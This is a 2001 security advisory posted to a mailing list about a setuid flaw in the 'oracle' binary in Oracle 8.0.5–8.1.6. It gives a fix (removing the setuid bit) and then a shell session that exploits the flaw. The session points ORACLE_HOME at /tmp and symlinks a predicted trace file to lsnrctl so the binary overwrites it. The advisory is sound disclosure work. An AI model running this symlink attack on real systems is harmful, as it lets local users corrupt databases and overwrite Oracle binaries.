[UNIX] Vulnerability Found In 'oracle' Binary

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Date: 08/04/01

From: support@securiteam.com
To: list@securiteam.com
Subject: [UNIX] Vulnerability Found In 'oracle' Binary
Message-Id: <20010804150750.005F013903@mail.der-keiler.de>
Date: Sat,  4 Aug 2001 17:07:50 +0200 (CEST)

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  Vulnerability Found In 'oracle' Binary


There is a write permission checking error in the 'oracle' binary that can
be used by local users to overwrite any file owned by the oracle user.
This would allow a local user to corrupt database files, overwrite
existing oracle binaries, etc.


Vulnerable systems:
Oracle version 8.0.5 up to version 8.1.6

Temporary solution:
Remove the setuid oracle off the oracle binary:
# chmod -s oracle

$ cd /tmp
$ mkdir rdbms
$ cd rdbms/
$ mkdir log
$ cd log
$ ls -alc
total 8
drwxrwxr-x 2 pask pask 4096 dic 14 02:33 .
drwxrwxr-x 3 pask pask 4096 dic 14 02:33 ..
$ export ORACLE_HOME=/tmp
$ export REAL_ORACLE_HOME=/usr/local/oracle/app/oracle/product/8.0.5
$ $REAL_ORACLE_HOME/bin/oracle
$ ls -alc
total 12
drwxrwxr-x 2 pask pask 4096 dic 14 02:35 .
drwxrwxr-x 3 pask pask 4096 dic 14 02:33 ..
-rw-r----- 1 oracle pask 47 dic 14 02:35 ora_24028.trc

$ ln -s $REAL_ORACLE_HOME/bin/lsnrctl ./ora_24050.trc
$ $REAL_ORACLE_HOME/bin/oracle
$ $REAL_ORACLE_HOME/bin/oracle
$ $REAL_ORACLE_HOME/bin/oracle
$ $REAL_ORACLE_HOME/bin/oracle


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